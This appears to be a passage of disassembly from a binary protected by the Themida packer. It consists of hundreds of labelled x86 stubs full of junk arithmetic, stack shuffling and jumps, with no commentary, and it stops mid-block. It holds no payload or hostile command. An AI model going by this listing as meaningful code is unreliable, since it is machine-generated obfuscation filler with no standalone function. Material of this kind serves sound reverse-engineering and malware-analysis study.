mov ebp, [esp]
jmp loc_583ABB
; ---------------------------------------------------------------------------
loc_582E35: ; CODE XREF: Themida_:00585C57j
add ebp, ecx
pop ecx
add ebp, 2
xchg ebp, [esp]
pop esp
push ebx
push 2CEDh
mov [esp], ecx
mov ch, al
jmp loc_58561D
; ---------------------------------------------------------------------------
loc_582E4F: ; CODE XREF: Themida_:0058547Ej
pop esp
mov [esp], edi
push esp
pop edi
jmp loc_5879B7
; ---------------------------------------------------------------------------
loc_582E5A: ; CODE XREF: Themida_:00583A10j
add edi, edx
pop edx
xchg edi, [esp]
pop esp
add ebx, 4
jmp loc_587D07
; ---------------------------------------------------------------------------
lodsb
jmp loc_584FC8
; ---------------------------------------------------------------------------
loc_582E72: ; CODE XREF: Themida_:00584473j
pop edx
sub eax, ecx
jmp loc_587C39
; ---------------------------------------------------------------------------
loc_582E7A: ; CODE XREF: Themida_:005828AFj
mov eax, 20703F2Ch
mov ebp, 3EC8358Ch
jmp loc_58C967
; ---------------------------------------------------------------------------
loc_582E89: ; CODE XREF: Themida_:005864AEj
mov ebp, 1B248C7h
neg ebp
add ebp, 6132C6F6h
jmp loc_58A585
; ---------------------------------------------------------------------------
loc_582E9B: ; CODE XREF: Themida_:0058B4CFj
mov [esp], dx
mov dh, 1Bh
jmp loc_587A95
; ---------------------------------------------------------------------------
loc_582EA6: ; CODE XREF: Themida_:0058CB43j
add eax, 20371F67h
push 7098h
mov [esp], esi
mov esi, 1E5047AAh
push edx
mov edx, 6CB87C3Eh
add eax, edx
pop edx
jmp loc_589437
; ---------------------------------------------------------------------------
loc_582EC6: ; CODE XREF: Themida_:00582C3Fj
or ebp, 67DA4631h
jmp loc_58800C
; ---------------------------------------------------------------------------
loc_582ED1: ; CODE XREF: Themida_:00589A27j
pop esi
pop dword ptr [esp]
pop esp
jmp loc_586E5B
; ---------------------------------------------------------------------------
loc_582EDB: ; CODE XREF: Themida_:0058B3EFj
push esi
mov esi, 302C2728h
neg esi
add esi, 6AF66FA9h
sub esi, 0D341E4FDh
sub edi, esi
jmp loc_588C67
; ---------------------------------------------------------------------------
loc_582EF6: ; CODE XREF: Themida_:0058C041j
sub ebp, 5E5D1395h
mov eax, [esp]
add esp, 4
add ebp, 2
jmp loc_58C1A6
; ---------------------------------------------------------------------------
loc_582F0A: ; CODE XREF: Themida_:0058CBA7j
push cx
mov cl, bl
not cl
mov bl, cl
pop cx
jmp loc_5873CE
; ---------------------------------------------------------------------------
loc_582F19: ; CODE XREF: Themida_:00583AF8j
mov [esp], ecx
jmp loc_58BBF4
; ---------------------------------------------------------------------------
loc_582F21: ; CODE XREF: Themida_:0058D4F3j
mov eax, 4
add edx, 3023444Ah
jmp loc_582FD1
; ---------------------------------------------------------------------------
loc_582F31: ; CODE XREF: Themida_:005884EEj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edx
push eax
jmp loc_588A76
; ---------------------------------------------------------------------------
loc_582F52: ; CODE XREF: Themida_:00589422j
push 2E2E6C23h
pop esi
mov ebx, esi
pop esi
mov ebp, 50EC4A1Bh
xor ebp, ebx
pop ebx
inc ebp
sub ebp, 7D5D79FDh
shr ebp, 3
add ebp, 0FFD36A7Dh
jmp loc_586B53
; ---------------------------------------------------------------------------
loc_582F78: ; CODE XREF: Themida_:005854C2j
sub al, ch
jmp loc_58AE67
; ---------------------------------------------------------------------------
loc_582F7F: ; CODE XREF: Themida_:005832B0j
add eax, 1F7C0297h
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 2
add eax, esi
pop esi
xchg eax, [esp]
jmp loc_58661F
; ---------------------------------------------------------------------------
loc_582FA3: ; CODE XREF: Themida_:0058464Cj
add ecx, edi
push dword ptr [esp]
pop edi
jmp loc_58ADD0
; ---------------------------------------------------------------------------
loc_582FAE: ; CODE XREF: Themida_:0058BFB7j
pop ebx
push edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
pop esp
jmp loc_58ABBF
; ---------------------------------------------------------------------------
loc_582FC1: ; CODE XREF: Themida_:00583038j
add al, 0DEh
pop edx
push ecx
mov ch, 74h
inc ch
push edx
mov dh, 0Eh
jmp loc_58746D
; ---------------------------------------------------------------------------
loc_582FD1: ; CODE XREF: Themida_:00582F2Cj
sub edx, eax
push 489Eh
jmp loc_584C3F
; ---------------------------------------------------------------------------
loc_582FDD: ; CODE XREF: Themida_:0058441Ej
sub eax, 0B9C606FCh
add esi, eax
push dword ptr [esp]
pop eax
add esp, 4
add edi, esi
pop esi
push 6A32h
mov [esp], ecx
mov ecx, 2
add edi, ecx
pop ecx
push 6EF6h
mov [esp], edi
jmp loc_58DF46
; ---------------------------------------------------------------------------
loc_58300E: ; CODE XREF: Themida_:00584058j
push cx
jmp loc_58DD53
; ---------------------------------------------------------------------------
loc_583015: ; CODE XREF: Themida_:0058A619j
add esi, edi
push dword ptr [esp]
pop edi
add esp, 4
add esi, 4
jmp loc_58986C
; ---------------------------------------------------------------------------
loc_583029: ; CODE XREF: Themida_:0058D8DBj
pop bx
neg dh
not dh
neg dh
add dh, 0FBh
sub al, 0DEh
sub al, dh
jmp loc_582FC1
; ---------------------------------------------------------------------------
loc_58303D: ; CODE XREF: Themida_:00585314j
mov esi, [esp]
push ebx
push esp
pop ebx
push ecx
push ebp
mov ebp, 2DF2706Fh
or ebp, 3A14580Fh
shl ebp, 5
inc ebp
shr ebp, 7
add ebp, 1347710Eh
add ebp, 0F7DD0DDFh
mov ecx, ebp
mov ebp, [esp]
add esp, 4
or ecx, 258359B5h
add ecx, 646C6378h
jmp loc_582618
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 69E5h
mov [esp], edx
jmp loc_584953
; ---------------------------------------------------------------------------
loc_58308F: ; CODE XREF: Themida_:00588D09j
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ebx
push 3E96h
mov [esp], eax
jmp loc_584CB1
; ---------------------------------------------------------------------------
loc_5830A6: ; CODE XREF: Themida_:005828EAj
sub eax, edi
jmp loc_58932A
; ---------------------------------------------------------------------------
pop ebx
shl ecx, 5
sub esp, 4
jmp loc_58D020
; ---------------------------------------------------------------------------
loc_5830BC: ; CODE XREF: Themida_:0058BA40j
push 485Ch
mov [esp], ebx
mov ebx, 634C5957h
dec ebx
dec ebx
shr ebx, 5
inc ebx
jmp loc_581CE1
; ---------------------------------------------------------------------------
loc_5830D4: ; CODE XREF: Themida_:0058D21Bj
xchg eax, edi
or eax, 747461Eh
sub esp, 4
jmp loc_58C02E
; ---------------------------------------------------------------------------
loc_5830E5: ; CODE XREF: Themida_:0058D6B5j
add esp, 4
add eax, esi
jmp loc_58D2F7
; ---------------------------------------------------------------------------
loc_5830EF: ; CODE XREF: Themida_:0058BFDEj
push edx
mov edx, 5ACF07D0h
add edx, 185F378Ah
jmp loc_583752
; ---------------------------------------------------------------------------
loc_583100: ; CODE XREF: Themida_:00586F9Dj
mov eax, 36480902h
inc eax
and eax, 4A0B2D9Ah
dec eax
jmp loc_58AB55
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esp
jmp loc_58C3CC
; ---------------------------------------------------------------------------
loc_583129: ; CODE XREF: Themida_:0058651Aj
mov ecx, [esp]
jmp loc_581BBA
; ---------------------------------------------------------------------------
loc_583131: ; CODE XREF: Themida_:005824F8j
pop eax
add eax, ebp
jmp loc_58626E
; ---------------------------------------------------------------------------
loc_583139: ; CODE XREF: Themida_:00585A07j
or edx, 3C6E2A80h
inc edx
push ebp
mov ebp, 1BF016ABh
inc ebp
sub ebp, 2B9F6B0h
sub edx, ebp
pop ebp
add ecx, edx
pop edx
add esi, 68686B4Dh
jmp loc_58B68D
; ---------------------------------------------------------------------------
loc_58315E: ; CODE XREF: Themida_:00586C5Ej
not dl
push small 4E1Bh
mov [esp], cx
mov ch, 96h
xor dl, ch
jmp loc_58E00E
; ---------------------------------------------------------------------------
loc_583171: ; CODE XREF: Themida_:005854F2j
push edx
mov dh, 0B2h
not dh
sub dh, 61h
xor cl, dh
pop edx
sub cl, 0B9h
push eax
mov al, 6Dh
or cl, al
jmp loc_582522
; ---------------------------------------------------------------------------
loc_583189: ; CODE XREF: Themida_:0058C1F7j
sub bl, 35h
sub bl, dl
add bl, 35h
mov edx, [esp]
jmp loc_589C69
; ---------------------------------------------------------------------------
loc_583199: ; CODE XREF: Themida_:00584E85j
xchg ecx, ebx
inc ecx
jmp loc_5839BA
; ---------------------------------------------------------------------------
loc_5831A1: ; CODE XREF: Themida_:00582556j
push ebp
mov ebp, 8A34FD4h
add ebp, 662AF6DEh
sub ebp, 0FFFFFFFFh
sub ebp, 31FC7684h
xor ebp, 2BB93DCEh
add ebp, 0E8971223h
add esi, ebp
pop ebp
push edx
mov edx, 4DF230D6h
push ebx
mov ebx, 52D13B2Fh
shr ebx, 4
jmp loc_58824F
; ---------------------------------------------------------------------------
loc_5831D9: ; CODE XREF: Themida_:00587E29j
push ebx
mov ebx, 2
sub eax, ebx
jmp loc_583B37
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5831ED: ; CODE XREF: Themida_:00587407j
mov ebx, 4E1047E6h
add ebx, 2A5CDBDCh
add ecx, ebx
jmp loc_58837B
; ---------------------------------------------------------------------------
loc_5831FF: ; CODE XREF: Themida_:005819B4j
push esi
mov esi, 7B7C738Fh
sub [esp+0Ch], esi
pop esi
pop edx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [edi+24h]
loc_583221: ; CODE XREF: Themida_:0058C8F9j
sub esp, 4
jmp loc_58C31F
; ---------------------------------------------------------------------------
loc_58322C: ; CODE XREF: Themida_:00586AF3j
or esi, ecx
jmp loc_58CD94
; ---------------------------------------------------------------------------
loc_583233: ; CODE XREF: Themida_:0058629Cj
mov [esp], ecx
push edi
push 6ED7090Ah
pop edi
add edi, 9128F6F8h
mov ecx, edi
pop edi
jmp loc_587220
; ---------------------------------------------------------------------------
loc_58324B: ; CODE XREF: Themida_:0058822Aj
pop edi
jmp loc_588D97
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_583259: ; CODE XREF: Themida_:00589980j
xor ecx, 0B958B883h
jmp loc_58A3EF
; ---------------------------------------------------------------------------
loc_583264: ; CODE XREF: Themida_:0058BDE4j
pop ebp
add edx, ecx
jmp loc_58AA73
; ---------------------------------------------------------------------------
loc_58326C: ; CODE XREF: Themida_:005858BDj
pop ebp
jmp loc_58615C
; ---------------------------------------------------------------------------
loc_583272: ; CODE XREF: Themida_:00586DABj
sub esp, 4
mov [esp], esp
jmp loc_58899C
; ---------------------------------------------------------------------------
loc_583280: ; CODE XREF: Themida_:005885CDj
push edx
jmp loc_58686C
; ---------------------------------------------------------------------------
loc_583286: ; CODE XREF: Themida_:00587640j
add edx, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_588A22
; ---------------------------------------------------------------------------
loc_5832A9: ; CODE XREF: Themida_:00586FF1j
sub eax, 1F7C0297h
add eax, edx
jmp loc_582F7F
; ---------------------------------------------------------------------------
loc_5832B5: ; CODE XREF: Themida_:00584FE4j
shl bh, 5
push dx
mov dl, bh
not dl
mov bh, dl
pop dx
shl bh, 8
dec bh
not bh
push edx
mov dh, 5Eh
jmp loc_589EA8
; ---------------------------------------------------------------------------
loc_5832D1: ; CODE XREF: Themida_:00584E8Dj
add esp, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_587E8D
; ---------------------------------------------------------------------------
loc_5832E7: ; CODE XREF: Themida_:005827E9j
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
xor ecx, 667D33CCh
sub esp, 4
mov [esp], edx
push 6164h
mov [esp], ebx
push 13EE7B04h
mov ebx, [esp]
add esp, 4
push edx
mov edx, 13EE7B03h
jmp loc_583E17
; ---------------------------------------------------------------------------
loc_583324: ; CODE XREF: Themida_:0058C34Dj
sub esp, 4
mov [esp], eax
jmp loc_58359B
; ---------------------------------------------------------------------------
loc_583332: ; CODE XREF: Themida_:00585247j
shl ch, 1
add ch, 0E9h
push eax
mov al, 0C6h
xor al, 0AFh
xor al, 41h
jmp loc_586423
; ---------------------------------------------------------------------------
loc_583343: ; CODE XREF: Themida_:005896CEj
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov edx, edi
push dword ptr [esp]
jmp loc_58A4D5
; ---------------------------------------------------------------------------
loc_583365: ; CODE XREF: Themida_:00588FA3j
add ebp, 4
add ebp, 2
push ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
jmp loc_58BE62
; ---------------------------------------------------------------------------
push bp
push small word ptr [esp+2]
mov bp, [esp]
add esp, 2
pop small word ptr [esp]
push bp
xchg dx, [esp]
not dx
xor [esp], dx
xor dx, [esp]
xor [esp], dx
mov bp, [esp]
push eax
mov eax, esp
jmp loc_5856C2
; ---------------------------------------------------------------------------
loc_5833B5: ; CODE XREF: Themida_:00585086j
and edx, 3CDB6312h
shl edx, 8
jmp loc_58D6A9
; ---------------------------------------------------------------------------
loc_5833C3: ; CODE XREF: Themida_:0058A2F6j
pop esp
jmp loc_58D3D8
; ---------------------------------------------------------------------------
loc_5833C9: ; CODE XREF: Themida_:0058448Cj
mov edx, 7C8666FAh
jmp loc_587F61
; ---------------------------------------------------------------------------
loc_5833D3: ; CODE XREF: Themida_:005851EEj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_584DBC
; ---------------------------------------------------------------------------
loc_5833E8: ; CODE XREF: Themida_:0058BAC3j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5833ED: ; CODE XREF: Themida_:00586818j
mov esi, 6677532Bh
xor edx, esi
pop esi
mov edi, [esp]
jmp loc_587B0D
; ---------------------------------------------------------------------------
loc_5833FD: ; CODE XREF: Themida_:0058D110j
add edi, 0BAF6D387h
add ecx, 2BD8370Fh
add ecx, edi
push ebx
mov ebx, 2BD8370Fh
sub ecx, ebx
mov ebx, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
movzx eax, al
push dword ptr [edi+eax*4]
push 77E8h
mov [esp], ecx
push edx
mov edx, 5114274Eh
jmp loc_586686
; ---------------------------------------------------------------------------
loc_58343F: ; CODE XREF: Themida_:005882D6j
mov dh, [esp]
add esp, 4
dec dh
xor dh, 0B7h
push cx
mov cl, 0FEh
jmp loc_58C288
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_58BF2B
; ---------------------------------------------------------------------------
loc_583462: ; CODE XREF: Themida_:00588A61j
mov esi, 62D73671h
neg esi
neg esi
and esi, 168869DCh
shr esi, 3
add esi, 0FFAFFBFAh
add edi, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_58D9D6
; ---------------------------------------------------------------------------
loc_583490: ; CODE XREF: Themida_:0058B34Cj
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push edx
mov edx, 1F9027DAh
not edx
add edx, 7B7D028Eh
jmp loc_58BBD2
; ---------------------------------------------------------------------------
loc_5834B0: ; CODE XREF: Themida_:00583B32j
push esi
sub esp, 4
mov [esp], eax
push 316E5DECh
pop eax
add eax, 0CE91A216h
mov esi, eax
jmp loc_583DC8
; ---------------------------------------------------------------------------
loc_5834C9: ; CODE XREF: Themida_:0058DF4Dj
add esp, 4
pop dword ptr [esp]
pop esp
mov ax, [esp]
jmp loc_586C2C
; ---------------------------------------------------------------------------
loc_5834DC: ; CODE XREF: Themida_:0058CBECj
push 43BBh
mov [esp], edi
mov edi, esp
push edx
jmp loc_582531
; ---------------------------------------------------------------------------
loc_5834EC: ; CODE XREF: Themida_:0058C367j
shl byte ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5834F5: ; CODE XREF: Themida_:005886CFj
push 71B31F1Dh
pop ebx
neg ebx
add ebx, 9A8845AEh
jmp loc_586598
; ---------------------------------------------------------------------------
loc_583508: ; CODE XREF: Themida_:005824B2j
push dword ptr [esp]
pop ebx
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
jmp loc_581FE3
; ---------------------------------------------------------------------------
loc_583522: ; CODE XREF: Themida_:0058C01Dj
pop esp
pop dword ptr [esp]
pop esp
mov ax, [esp]
jmp loc_58DE8C
; ---------------------------------------------------------------------------
loc_583530: ; CODE XREF: Themida_:00587DFEj
add esp, 4
loc_583536: ; CODE XREF: Themida_:00581AAAj
; Themida_:00581C8Dj
push dword ptr [edi+24h]
sub dword ptr [esp], 49A05D3Eh
mov ecx, [esp]
add esp, 4
push esi
push edi
jmp loc_58E004
; ---------------------------------------------------------------------------
loc_58354D: ; CODE XREF: Themida_:00589446j
add eax, 11576F49h
pop ebx
pop esi
push ebp
jmp loc_58CC07
; ---------------------------------------------------------------------------
loc_58355A: ; CODE XREF: Themida_:0058B79Cj
mov [esp], bx
jmp loc_589FAA
; ---------------------------------------------------------------------------
loc_583563: ; CODE XREF: Themida_:00581CAAj
pop eax
push edx
mov edx, 0B6C31h
jmp loc_589EDE
; ---------------------------------------------------------------------------
loc_58356F: ; CODE XREF: Themida_:0058B47Ej
sub edx, esi
mov esi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5827B5
; ---------------------------------------------------------------------------
loc_583585: ; CODE XREF: Themida_:005886ABj
xchg eax, edi
not eax
xchg eax, edi
push ecx
mov ecx, 75F8397Bh
dec ecx
add ecx, 4B242366h
jmp loc_589EB5
; ---------------------------------------------------------------------------
loc_58359B: ; CODE XREF: Themida_:0058332Dj
mov eax, 7013278h
jmp loc_5899D0
; ---------------------------------------------------------------------------
loc_5835A5: ; CODE XREF: Themida_:00588447j
sub ecx, 0FFFFFFFFh
push 26BEh
mov [esp], ebp
mov ebp, 2D680FC4h
xor ecx, ebp
jmp loc_58C2FC
; ---------------------------------------------------------------------------
loc_5835BC: ; CODE XREF: Themida_:00587692j
shr edx, 7
and edx, 204904E7h
sub edx, 0FE68EE8Ah
jmp loc_58B304
; ---------------------------------------------------------------------------
loc_5835D0: ; CODE XREF: Themida_:00584CE6j
add esp, 4
push edi
push 35A3495Dh
pop edi
shl edi, 3
add edi, 6FE64EDFh
jmp loc_5825D0
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push ebx
mov ebx, esp
jmp loc_58A43B
; ---------------------------------------------------------------------------
loc_5835F3: ; CODE XREF: Themida_:00585028j
sub esp, 4
mov [esp], ebx
push ebp
jmp loc_582666
; ---------------------------------------------------------------------------
loc_5835FF: ; CODE XREF: Themida_:00588188j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_583604: ; CODE XREF: Themida_:0058251Dj
pop dword ptr [esp]
jmp loc_58CABC
; ---------------------------------------------------------------------------
loc_58360C: ; CODE XREF: Themida_:0058C029j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_58D7EC
; ---------------------------------------------------------------------------
loc_583620: ; CODE XREF: Themida_:0058D716j
xor ax, si
pop si
push small 3EBCh
mov [esp], bx
mov bx, 1AA2h
jmp loc_588C10
; ---------------------------------------------------------------------------
loc_583636: ; CODE XREF: Themida_:00587822j
add edi, esi
pop esi
jmp loc_589004
; ---------------------------------------------------------------------------
loc_58363E: ; CODE XREF: Themida_:00588EFAj
xor ecx, 700E4F7Eh
xor edx, ecx
pop ecx
push eax
jmp loc_582DC6
; ---------------------------------------------------------------------------
loc_58364D: ; CODE XREF: Themida_:0058641Ej
push dword ptr [esp]
pop esi
jmp loc_588A8D
; ---------------------------------------------------------------------------
loc_583656: ; CODE XREF: Themida_:0058AFB7j
pop dx
sub al, dh
jmp loc_5859EB
; ---------------------------------------------------------------------------
loc_58365F: ; CODE XREF: Themida_:00586A35j
xchg esi, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58366E: ; CODE XREF: Themida_:0058B3DDj
add dword ptr [esp+4], 4487729Ch
add [esp+4], eax
jmp loc_58C2EF
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
add esi, 4
push ebp
jmp loc_58A36C
; ---------------------------------------------------------------------------
loc_583692: ; CODE XREF: Themida_:0058C228j
add esp, 4
add bl, al
jmp loc_58835E
; ---------------------------------------------------------------------------
loc_58369F: ; CODE XREF: Themida_:00588317j
mov [esp], edx
mov edx, 19376BF4h
xor edx, 31D20C2h
push ebx
push esi
mov esi, 0F44324Ch
not esi
shr esi, 5
or esi, 6E94904h
push edi
mov edi, 4BF381AFh
add esi, edi
jmp loc_58A359
; ---------------------------------------------------------------------------
loc_5836CC: ; CODE XREF: Themida_:00585321j
push dx
jmp loc_58CDFB
; ---------------------------------------------------------------------------
loc_5836D3: ; CODE XREF: Themida_:00589F72j
or ebx, edi
pop edi
not ebx
neg ebx
add ebx, 0C4929A1Eh
sub eax, 50AB2F9Ch
add eax, 18494DAEh
add eax, ebx
sub eax, 18494DAEh
jmp loc_581C40
; ---------------------------------------------------------------------------
loc_5836F6: ; CODE XREF: Themida_:00588A17j
sub eax, ebp
pop ebp
sub edx, 713B4A79h
jmp loc_588600
; ---------------------------------------------------------------------------
loc_583704: ; CODE XREF: Themida_:00583A2Cj
mov edi, 4
jmp loc_589848
; ---------------------------------------------------------------------------
loc_58370E: ; CODE XREF: Themida_:00589BE6j
pop ebp
jmp loc_5861B9
; ---------------------------------------------------------------------------
loc_583714: ; CODE XREF: Themida_:0058692Bj
mov edx, [esp]
add esp, 4
add al, 0F0h
add al, bl
sub al, 0F0h
add al, 0C1h
jmp loc_58C456
; ---------------------------------------------------------------------------
loc_58372A: ; CODE XREF: Themida_:00588F9Dj
mov edi, [esp]
add esp, 4
add edx, 0CA0C26CFh
add eax, 7A476884h
jmp loc_58466A
; ---------------------------------------------------------------------------
loc_583740: ; CODE XREF: Themida_:0058D5F7j
mov ebp, 25D0B85h
add ebp, 38BF4C99h
shl ebp, 1
jmp loc_588A09
; ---------------------------------------------------------------------------
loc_583752: ; CODE XREF: Themida_:005830FBj
neg edx
neg edx
sub edx, 3CBD258Bh
add ebx, 1AE54C70h
jmp loc_587199
; ---------------------------------------------------------------------------
loc_583767: ; CODE XREF: Themida_:00589F11j
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_582B90
; ---------------------------------------------------------------------------
loc_583778: ; CODE XREF: Themida_:0058D945j
add ebp, 21E63B80h
add ebp, 106F5797h
sub ebp, 0FFFFFFFFh
or ebp, 3BF6703Eh
shl ebp, 4
push 6FA8h
mov [esp], eax
mov eax, 358C235Bh
jmp loc_58B1CD
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
pop edx
push 2922h
mov [esp], ebx
push eax
jmp loc_583B4B
; ---------------------------------------------------------------------------
loc_5837BA: ; CODE XREF: Themida_:00586BF6j
mov dl, 5Dh
push ax
mov al, 0E8h
jmp loc_58D675
; ---------------------------------------------------------------------------
loc_5837C5: ; CODE XREF: Themida_:00587157j
add ecx, edi
jmp loc_5859C4
; ---------------------------------------------------------------------------
loc_5837CC: ; CODE XREF: Themida_:005851A2j
sub ebp, 11A02B88h
jmp loc_58CD19
; ---------------------------------------------------------------------------
loc_5837D7: ; CODE XREF: Themida_:0058537Fj
sub esi, ebx
pop ebx
push 4EB8h
jmp loc_5864C9
; ---------------------------------------------------------------------------
loc_5837E4: ; CODE XREF: Themida_:005886BCj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_587094
; ---------------------------------------------------------------------------
loc_5837F7: ; CODE XREF: Themida_:00586ED8j
sub eax, ebp
jmp loc_582E2D
; ---------------------------------------------------------------------------
loc_5837FE: ; CODE XREF: Themida_:0058826Bj
mov ebx, [esp]
add esp, 4
push edi
jmp loc_58472B
; ---------------------------------------------------------------------------
loc_58380D: ; CODE XREF: Themida_:0058DBD5j
mov ebx, 67641D21h
push ecx
mov ecx, 29EB538Dh
xor ebx, ecx
pop ecx
shr ebx, 7
add ebx, 23C7486Dh
sub ebx, 0B5162EFBh
xor eax, ebx
pop ebx
sub eax, 0C1D6A0A6h
add ecx, eax
jmp loc_589455
; ---------------------------------------------------------------------------
loc_583839: ; CODE XREF: Themida_:0058B944j
shr cl, 4
jmp loc_58D9B6
; ---------------------------------------------------------------------------
loc_583841: ; CODE XREF: Themida_:00584024j
sub edx, 65C4721Fh
push ebx
jmp loc_588F21
; ---------------------------------------------------------------------------
loc_58384D: ; CODE XREF: Themida_:0058D6C3j
mov esp, [esp]
mov eax, [esp]
push 4752h
jmp loc_585664
; ---------------------------------------------------------------------------
loc_58385D: ; CODE XREF: Themida_:0058C2B2j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_581D17
; ---------------------------------------------------------------------------
loc_58386F: ; CODE XREF: Themida_:00589DBBj
sub ebp, esi
pop esi
push 441Ah
jmp loc_584F92
; ---------------------------------------------------------------------------
loc_58387C: ; CODE XREF: Themida_:00581DB2j
mov esi, 1B983802h
mov ebp, 0EE71DA46h
add ebp, esi
pop esi
push ebx
mov ebx, 25597C3Fh
xor ebx, 2CAE6DB8h
neg ebx
jmp loc_5883F6
; ---------------------------------------------------------------------------
loc_58389C: ; CODE XREF: Themida_:00588B60j
push edi
push 40B9322Bh
pop edi
xor eax, edi
push dword ptr [esp]
jmp loc_586048
; ---------------------------------------------------------------------------
loc_5838AD: ; CODE XREF: Themida_:00586941j
mov esp, [esp]
jmp loc_58422F
; ---------------------------------------------------------------------------
loc_5838B5: ; CODE XREF: Themida_:00584F54j
add ebx, 4
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_58B54C
; ---------------------------------------------------------------------------
loc_5838CD: ; CODE XREF: Themida_:0058D686j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_58A3D8
; ---------------------------------------------------------------------------
lodsb
push ecx
mov cl, 0FAh
xor cl, 5Bh
add al, cl
pop ecx
sub al, 58h
jmp loc_5887EE
; ---------------------------------------------------------------------------
loc_5838F3: ; CODE XREF: Themida_:0058A41Bj
mov ecx, 31BE6307h
mov ebp, ecx
pop ecx
shr ebp, 7
jmp loc_58BAE4
; ---------------------------------------------------------------------------
loc_583903: ; CODE XREF: Themida_:0058B961j
pop ebx
pop ecx
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_58BAC2
; ---------------------------------------------------------------------------
loc_583920: ; CODE XREF: Themida_:00587E4Cj
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_58C9B9
; ---------------------------------------------------------------------------
loc_583934: ; CODE XREF: Themida_:0058CBD4j
add eax, 4
add eax, 4
jmp loc_5896E0
; ---------------------------------------------------------------------------
loc_583943: ; CODE XREF: Themida_:005819E1j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_583948: ; CODE XREF: Themida_:00589070j
pop esi
add edx, 3A954B0Bh
add edx, 365F4F3h
add edi, 199B2F6Fh
jmp loc_586B4C
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push ebp
mov ebp, 61AC513Dh
inc ebp
push edx
mov edx, 0AEB4D478h
sub ebp, 220247C4h
add ebp, edx
add ebp, 220247C4h
jmp loc_583D39
; ---------------------------------------------------------------------------
loc_583983: ; CODE XREF: Themida_:0058B995j
inc ebp
add ebp, 0FAFFFD81h
sub ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_58A67A
; ---------------------------------------------------------------------------
loc_5839A2: ; CODE XREF: Themida_:00581BF0j
mov ecx, 7A066512h
and esi, ecx
pop ecx
jmp loc_585AD7
; ---------------------------------------------------------------------------
loc_5839AF: ; CODE XREF: Themida_:00584584j
add esp, 4
push ecx
mov ecx, esp
jmp loc_58D4C6
; ---------------------------------------------------------------------------
loc_5839BA: ; CODE XREF: Themida_:0058319Cj
xchg ecx, ebx
sub ebx, 6C015029h
add edx, ebx
pop ebx
jmp loc_583D2C
; ---------------------------------------------------------------------------
loc_5839CA: ; CODE XREF: Themida_:0058B563j
push edx
mov edx, esp
push eax
mov eax, 4
sub edx, 7BCE4798h
add edx, eax
add edx, 7BCE4798h
jmp loc_58738C
; ---------------------------------------------------------------------------
loc_5839E6: ; CODE XREF: Themida_:00589789j
add dword ptr [esp], 4
pop ebp
push edi
mov edi, 662F1648h
not edi
shl edi, 6
jmp loc_58D6E2
; ---------------------------------------------------------------------------
loc_5839FE: ; CODE XREF: Themida_:00581B0Cj
mov [esp], edi
mov edi, esp
add edi, 4
push edx
push 4
pop edx
jmp loc_582E5A
; ---------------------------------------------------------------------------
loc_583A15: ; CODE XREF: Themida_:005841F9j
mov ebx, esp
jmp loc_588728
; ---------------------------------------------------------------------------
loc_583A1C: ; CODE XREF: Themida_:0058AEE9j
pop eax
push esi
push esp
pop esi
add esi, 4
sub esp, 4
mov [esp], edi
jmp loc_583704
; ---------------------------------------------------------------------------
loc_583A31: ; CODE XREF: Themida_:0058D88Cj
pop edx
jmp loc_58C641
; ---------------------------------------------------------------------------
loc_583A37: ; CODE XREF: Themida_:0058D444j
mov dh, 0C4h
sub dh, 68h
